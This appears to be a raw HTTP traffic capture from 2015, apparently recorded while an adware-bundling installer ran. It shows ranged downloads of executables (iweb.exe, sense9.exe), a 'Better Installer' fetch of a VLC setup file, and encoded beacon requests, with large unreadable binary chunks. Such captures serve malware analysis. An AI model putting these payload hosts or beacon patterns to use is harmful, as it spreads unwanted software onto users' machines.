..m..l..t.....^....:..W..(....=O-.o.P.....k}.u7.)f...0.V.\.......'.G4z
y..gSC..M.... E..H.-.)`...._...{..tlS....J....^....o'.J..W..&..4!..s..
..F.....a...ov...E0..x.......>@...V#..ztM...M.%}...[_'.k.....}.....
..M.p^.>`...B.'Re....7^.J..............ez...Di....0.I.^.L{7`:.I....
. e...%@[email protected]...[`7.B..\.{..$aud)xv.2..ST.s...u.~.is..Ti.|..C..
<..2..3g..e..........Um.R..._..t~H.........:xK,t..4....2k}.t.\.P...
.):.\.[...)q.......z.;n..Z..Pv.z..B..E{....;...(...XE....J. s..?.V..ep
[email protected]...></.`..G.......Q/........V...-..I.U/..@="$..VQ
....=)..z#.K.j....;S.,...9#.<a.h.h..;..E.Ok...........)..:oR.....Q.
."....z......&.....l...m..........f.../8(..'...V.A.l..n..H..@.*..[.E&1
xL.i.....(xq...../.o...........".-...C'?......r?.,.O2.e^.`g...}.a.....
al(F.....p.*l.P...q.S..o.....##q-.....<.F.uj/&.!b.1m.t.>3......p
[email protected].;......0.%....`..1..u.......~c...f...<..Xv...Z..H...I
.... ,.."...X...d..U..Nu.h..M...IWV......$:......J.J....zG..%.eo1.0...
.(mW`{6.....@M."*[email protected]..\s.L....@..^..5@1............
...:6.....Vm....!......N...Q.....]4.B..-..j......*...R.E.. .u.....nb.!
i .po....!G..B.K2...[[email protected]...{.\.P_.M.wdK/Er&_..0....J/ZZ
% -...&x .HS.........(.f4....i.q......... .....[....qAV^Q..Ec.Vu....w.
....kVO..........m..=.W.*n...u.....-..`.|........V.....1............8.
ui.....A`.......9,..N..m......m..'.n.m6.w],3....,..iU.W.07..Z<.R.HX
.5f?.m.E..3{..,.....b.pb...%T.=,....AU.!....n...Z.R...T.m....y..&.
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



Z..


GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



d.H.....k.P$.\W....K1<....... [email protected].........
....Vg....s..u...p.~..qu.y.......,~.Qh..6..8w.V..KSq....`.........hG..
.E?F.......dV...7E\i....#[email protected].".....4..4.3.k.-.M....>.....|.p.
..I.....#.^?.N..&>..|B..DH>c.......~n.p..^.} J.R....Y ]./..k....
.....xa..b|...j...k..g..u..!z.y<E.......)..-.]C.k..mE...&.n........
z8^."[":~:.....'U..X..,.l...fY...... ...?...6.!..{.../....)....jQ..T..
...V.....XC.^........8..NN"...1...7........z.(zC.p.SQ....P.AR....r.9..
!...R...t...].......c.......j...{D........m&.._....c...t..7.Oc......B.
.A._U.o..-Q>.."..Gq$F.......o...d..L.h..i..[I....G.I~..2....`.%`.7.
..U.........`..P.c....1-.}......P1L.....%..,/|[email protected] =.{S6....R.
N.Tg...^......  .U........4..\.Y..Q..PJ...U.0.T..b.(......,t.......b..
..2R*.A_I\I.....y..^.U7=i..A:.F.L.5.iB..o.x..a......~.n....YX....]]Xt.
47..().c....;...E=s}..1...z.P..w...F.$k.8..%..........$T..ufW.n..*...j
.....B.r.......2....6*.x.7?...sK#=..c....h.........a .h......!.u7.....
\.E.(Q%..k.C....!..F{..wO#.#.b...|x....}.2-*...\Jg.X.&.^.....%s.".v..U
..U.`7V...T..2.P.3*..&......?.nr,6.{.......>..f...R.D..&......4..|0
......t..(....^.%[[-lRs@ .$.i.-oI.)[email protected];..s....:Hva....D.e/m..
........t......g.......q..U....b..q.a.....IQ)`?.S.5^....9D.ZUz.[......
.W......?&.fs..)....C...:**.L.&..Ix.?.r...U....g.w.IHY `......d"...Y..
;fi|.{.......~.=..U.K$.q<.".%P.......... .M.^.9... ...7}}.{.z.F[...
....`..Ct..iet0Fz..m#U.6..w*.........o.>.h/.V.....,. .`..6.|9...Y..
......lX..p.....R;..N..y..9-....X....H~.^...T..k.A W:<Tctb..`2Z
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=7500000-7749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



...][email protected]...{^...3.D.W~."3._`^...*..S..9.(.`"M..OJ &l
t;...`.^-.'[email protected]...{..-.........1..:.[.f.G.M
z.".kEE...J.IQ..[e.?(.L...2n.....h..M.K............}.<S..S.F...HnN.
E!F..'pU/$.7...`.$.V.....u.zr..FYG.....9.......v. .f41...H.4.../..fL.&
lt;)12#....!.j.....P*...J.....q...HM..|8^.a...c.ny7\W..Sg1....|.......
....m......i4|.M.}b^iR.....Y..L..Hx.C.Zk...IZ...b...m...#......9..m.b.
$...G.!L.4...)k.....i.\.,..*......."(......eC.......73sd.QU7E..8.!.'d.
...8.p.Y1.^K.F.3....'....V.!Q'.]..d.C3-..K$"L....Q..{P.l.z.......EU..z
(..RA.c...,...NK...8(.J....)~...<B.Qp7/..i..iZ[....e.]......\J...k.
.N.Q.V..X..N....j..A.7...ey..7.|.....j nJ..,...r.....k;....D.p......&g
t;..]L..6!..=.7.......$l. ........1"5>8TJ.qe....g..#..~.\o..L..I...
..B8y...(&.6...H\.......n. ...3p~k............o...............] .@0\..
.mdEB.d..7.F..@U. ]./h....6Q^[email protected].@.$.....D..SMz,......MV  E......(
Y.k.8.A...-.....J0-...7.m.N.'J$. ...IP.............p..7Y.;A.^\]...*. M
d%...\..<.......n.}2...9...Y........(.u..).......m.. &....cq_l8...n
.....;..Q.(LJ.... ;................~..q..h2...L.^.Oq.J..5.{.n.6.......
4......~^t.4gN...=O..J......3E.."..7....]..Q.'=2A.gCz....C..)i......E.
a.......Y...L..[.nPwh:..g...2.,.v....4Hpg... .C.../.....N.o.Y.bkB..Q(.
.J.~.|......F..!.F.....L.......h....x...|.IN......a.T...A..#/..lw.....
....`.....M.3L...'..V.}...z...s....] ....t..S..3.5.|.Ag4..3N...r...5w.
..........c......q.-...,.vJ....Nh&.no>.2....q<....v....B$<...
.W..y....x...U.L9%~...


GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=8000000-8249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=8500000-8749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:52 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049503"
Last-Modified: Sun, 26 Apr 2015 11:58:23 GMT
Cache-Control: max-age=167
Content-Length: 250000
Content-Range: bytes 8750000-8999999/12416830
Content-Type: application/x-msdownload
X-HW: 1430092550.dop018.am4.t,1430092552.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
.Y....2\. ....E..>.-W.... .;.DIQ7m....4;.S"e.#.....Y.. ...l. n..m..
..O%<B.......G...#@[email protected] ..7@....}}.1
@.O2......F..QQq.*"J.eB.7...b.w..=7.......Ksulv.^iAz..C..Z.V3.e.......
!..p.......X..a(...Z...k..<o..........`..............l.#...........
...a'v.JiM....O..-[NR.[$%q...c..I....te...U.F`....'.*~i.....{.C:..s...
j....*[.../.Cwb(......_O.IF...._)Y.....#.W..'....;o..._6..3dGz.......F
D.....by..2.J.0.=A........s...E.dt.b...h./[email protected].}..,....)? Tz
...O..zC..F......-.7..69..v.Pf2.)[email protected]."g;;.`.u........BK.7
...=........L...RBH-...oK...".{.~^.KZ.m.U7..iQey..$..f.....iO..in.}.MO
6.......R....$..4......%[email protected]...."..}...=..?....w}j......j...".....
snK../A\.wo-z5.n.. ..6G. .8...\.$%.=T..h...*A* ..zN..}.=...!....5..Qv.
.<m.....K.R.5.c.E....kr.......".u...t....B..d...3`.c.#.....y....@..
...~q.k...b%p..?..IKa..,.F.2..!.....Av....Dv-.V..".......!......b.%m..
A..6Y.pN.7..#[email protected]...'..C.Ze.3........m.v.$.h..........
..u...X}{.............D#...W2FK.S.&)JC ........4I...W<.yVX.V...W..b
I.W.....{..Z..aD....0..da..!..}.....w.b_......... ..:.....CsJ\8.V..E.^
~..k.B...v2...j.....,...fQ.b%.3......};\...0PQS.v..z...2)}..........q5
.....o^.6. Gp..I-...y.lZ5.lX.~.....`.$......D..)Oo..K..c.....E.*.}....
h3_.........J....9.b.^..7....sa.;..q....w..`[email protected]
W-z1..-......:.z_CY.3z..t[...B..*...G.r........m..# <..."U.8.....j.
......9.....IP{as .R...^.k.?...Y...P.......}_[.,....i...._...(/9g..,..
[D...`.l^L.....I....F.1.....2.........}....:..|..Nq.L.!*.g...sP...
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=9000000-9249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=9500000-9749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



7D1.|.5a'..s.........(o.)06_.. .!..........*...8.%.Fr=../......f..|M..
...5K7.2B...(I.O...7.......V...j...@..%s.....V..C..*q.a?...$.'.H..RaF.
w.".....u:^...S4D[.......e....L8..t....RD.............@b:.e..c.{_lt(..
..g...E.]...BiJ<.TH...zL...[\..` .....;T..H.\...P....K..h^.V..\...I
....`-Wv..b..2G._..{^w...~.v.....^.......?R.?....{..P~?0.....r.;.~...J
./.{.....}....g.t3.W...{...."..y.-uo!6C...g!...|.....i.x..3. .S..v :.&
lt;.Yy.iY.k..3..4......M..ew.P...Z.K...vV8O..gS..k.....k.....<$...m
..XV..z...?..$_.......W.a...Nm..J.y...gx$..Mi.1.y..#..........f..k.Eg.
.....!?.u.`....5..ox..S.....X.c..X$I..J.......Jf..C.c...BG.n......D>
;'$r$Z4..).....I.tL9.....\.d5....T..7=N<......<...K.;X...8`y....
.'z....l..NL. .2!$....3# .9....#... p.F......A......v?1j..5...a.tQ..I8
...........#...7..@.?.E.l..S.D......x...y......hv...........5...C._(.`
.^s...~..u.w.E.U......;..|..4.][email protected]...
LB..wq%<..A.T. .....;7.G.Y..p.n.?Q...;(....F..._...m..5..'.`..@3. ;
30k .<....._..6. ~C...0..L.s......{....pa....5...i....H7.N.~..!.<
;}...J......p0K..S_..n.?Y.N...,^;..7.R#-u.,.5.:..s..w.U....x(oG.#.....
......*.fr.#a.O...a.*x..A'|A...= .yp5_...d.W0X...,.....&..S.<)...Q.
.n.([email protected]......~$.V...j.D..'<ug||...o/..............
)....#p..b#2.9........!.F]..>.N..?...d........... ......K.%....M>
;#..Y.S.2..]..A...8......E3..R..{.N..wl....t..z..A...Y*E.Tp...>.^..
-F_.....:...o......^F.q(..l..F3Z........C{..H.]~.....R.....=....9.5.d`
...'....L ....#.....0]...<..{#.mpTnxn........n|..|".)!.u.V..W..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=10250000-10499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=10500000-10749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



6c.......E1...{cToF ...J......,..'...v...bY~.nS.X...c....A.p.G..'..p..
<.....>9k......E.Q...n4NU.........E..C..a.$=......V.9AN6j.1..O..
.e....L.A-[..\1n).s..Q...d.e{........=!"Q...../q...>....H>.b{se^
.....zw.C..~J..=.n[....O.8...'..%.'......|@.......6'y....3-C<N.....
...k..$..Uv..E....U.M....n|=n.tr,.e3..2..W.=MO....!...e...../.:l.}.#.X
..K..*Mo2.W....u.....rsE..M.|.. ....O.J......K:.I...-..<..R...QC..D
5..P91S...(.?..1.......>...c-.....O..6..s..'0..a.!.i.q#b.....^.fk.:
.7.d........}_u......o{LB...3.i..C.Y...f.<....L...e=zhk.T:...Z..t0.
.u..a...Pw.l.....p...z....!.a.....v.....P-y...7h..-..av...@.!.H.......
P.aT$M.r.E..e]Ps..?.4.....M.w..x.Ui.=._.O.Q...iV|7...r...H..N?.>.!.
.C....n..H.8'......t.J}?.Udp.*[email protected] 4
..$.?{......X@S.`.d..{...6...l......s....`[email protected]$...1..U#T.6.Y.T....
...q.;d.ch.....r=.%[..P.5j.o.rY.I.:..|..$.J......V..QDh...^./..e.~Sc:.
....p....mN:....H...rT....6.l...s.......D^....#^.>A........y@S..?..
rA....[;,....b.. ...|bj.c0.Xq...k..........5. .v.w.x...nM...f&........
...Q..y..N..q.m.)-o...Z..p.;F...7.}M:.H.sY....eHl..j..z4..2[.}.6K;0...
.A;.,......zX....CN4")......K.. .U@@...,...m0.(U"(.5O....%-U..b'N..1..
.N..sS'[email protected]......(...7.,....YO....T.b.tL..-.G
J....zd. VW.e..[nu.....1.u|n...ofv.Gn..0.......| .!..&........X!~o.E3.
.0<..... ..E.........^..i...*..vP2b!{..#]...e..I.6*R..,.s.*.dk.;S.|
.."......I'.E~...E..]i.....N...aFGC..,..c..{R......T5.xL.xy......5.M;.
\._.BOTr|.l_.P.1..Q..B......vj.......U0P....l.<[email protected]..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=10750000-10999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:53 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049503"
Last-Modified: Sun, 26 Apr 2015 11:58:23 GMT
Cache-Control: max-age=166
Content-Length: 250000
Content-Range: bytes 10750000-10999999/12416830
Content-Type: application/x-msdownload
X-HW: 1430092553.dop018.am4.t,1430092553.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
. ..f..y$-.|..S2....`..7....kWI.[(..1tV,.D.1.P.<7NZ.k.y..*..tN...(.
...k.z..i./........s..Ym....>..%o....)^X.%..RX.O.x...0f.>@...Wi.
..G.0.....P.....U.E........HVG...~....E..>......5..?.<1... .....
.......=...xq....I.&:!WCE..".eS........`U_.).Z..G.7_...w.1...?....%.&g
t;;...*.P.-....O........m..g..2.6Kk; Qz.......q({.M..b.BH..e.H....Nv.0
..5......N.:.g..c...J.;.....6..F.=.|1R..9.}N.7..g.o..=......a.4.|\.EI.
....i...AC|"...h..V.%^...pX.U.c.......L..........p.....c]... o%..1..&g
t;.&6.@v......$...h..|.D..g...2...P.|..\..G....X.8ZVF.......4w.4Ry..TG
.n..(......a.....'[email protected].}...P..s..|.1.....-
.q....xJ.A..U.....].U$..WP.....8...........N.1...\W...#..f...l..t.X.v.
.9.R2{.....*...q.'.j.%... .-...<D.j..[.......4-.:....~....lR/=r....
.. .`....f.'..>...[.f^j...HS0|............p..yJ.[..X}....yQ &......
.o.J\..R1....h.p%.[-.u..U6.....2.v{"..sQ[..&.|..._..c......G..C...Pv..
...I.......a.k...0.:.?:..........C.}(.|.......0^E..W.;`....VDM...y.@..
#....)....{-Ys......i.Fj...tK.2.g...../..q.. ...(....K..M.|.....p.u...
..T)c.tOl..a...K..=....(<2B.....b..TJ....S.\.~;.O0..b.W.&~84.Rr....
.Ke#...=n...z.f..x.G\a.N.gKkA......m.~.9e.=@{$......e.....-...T(%d..S.
"%.6g_c.`V._(|.....QA....\..@2._#..F..>...-.`|!.P|...J}.y.:..8v...W
..a....u.m@,.]"..Oh.........r.U9.\..........`.0Rk.Y.Gd7|......W.oIve(.
..)..O..*..-..}.e....MMP..-..L.........#5...bvQ.O....Hr{5e....L^.'...=
.,.{.....=..Ou.&.....^L53j..".?.t.R.f...|9...O}..D7.u5...;WT.D..7.R.. 
/.A.E.....H.../..g....`P(......a..O..U....J ...J.........Z......0.
<<< skipped >>>


GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:53 GMT
X-Varnish: 1562192569 1561478658
Age: 19438
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:53
 GMT..X-Varnish: 1562192569 1561478658..Age: 19438..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>......


GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1


Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: cdn.mirror.garr.it
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:53 GMT
X-Varnish: 1562192570 1561478658
Age: 19439
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:53
 GMT..X-Varnish: 1562192570 1561478658..Age: 19439..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>......


GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1


Range: bytes=5728164-11456328
User-Agent: Better Installer(Mozilla)
Host: cdn.mirror.garr.it
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:54 GMT
X-Varnish: 1562192571 1561478658
Age: 19439
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:54
 GMT..X-Varnish: 1562192571 1561478658..Age: 19439..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>......


GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1


Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192572 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192572 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:55:53 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 26 Apr 2015 06:05:53 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mFeCPlrjWn5DUtIBVyyDM65Z3lvoPJZFUYcd8XletS7rGkNTEFfLcg==
2ee.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^.
I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./.
g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e.
d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..r
9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.\
.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:..
....0.........................'._......?.l....o..Q.....9..q.C.]..4....
70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u.
S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM..
. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r......
.A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn..
.......e?z....24ab.....-.zV..e....U..G..\.([V."...i.l............i.(..
......).r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k.
.......y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.
O....>....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).
|9. .l.5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__.....
.....x..Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'.
..I.T.;.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.....
..M^....&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN
3\{S`AX..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E
!.=....m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]...
...{Ga....EQ..Z|Q..6?..4?z|................H.%.....{....\b[.......
<<< skipped >>>


GET /24100.ashx?e=M7A8vgjJHrgX0FFcLlqIhnFOCrrBm5PrIxJmmHlbbDmMDmRWpWBZ0CAvELRpepitjKjHf0fty0gxy5iH3IkzWz312eyQqVQtWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy 1QTUZAdlB9AdAHFPMr9sQl41TYDIx2MPXo3vQDiI0RbthwOBgLvOFNG5wVH IY5mqHb3b0n5oxdzhxFIAXER6dVI/4dLCBO4KNVsZyPM/1jxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:40 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19V2/M8jJQIzSdP2 XN2u718hQC drCF7eF njmPLTFBJTHZ0SBJrLaprY4IvPwXqEQMSZV3lug1pD1Ez1y92rC5cPvyVJE72M86EQb8iyo3pE6vPnRrDWQyqd0/YwT2IDOS6Rp1PpHmBKKKt6mG3Lv3mVPmeOn eUfZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKRucFR/iGOZqh2929J aMXc4cRSAFxEenVSP HSwgTuAdJR3PwTyi6g== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAezhqBxvppgbPaoY7TL7kjxnI8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlOrz50aw1kMqndP2ME9iAzkukadT6R5gSiirephty795YBidEiCu2Vg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKRucFR/iGOZqh2929J aMXc4cRSAFxEenVSP HSwgTuAdJR3PwTyi6g== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


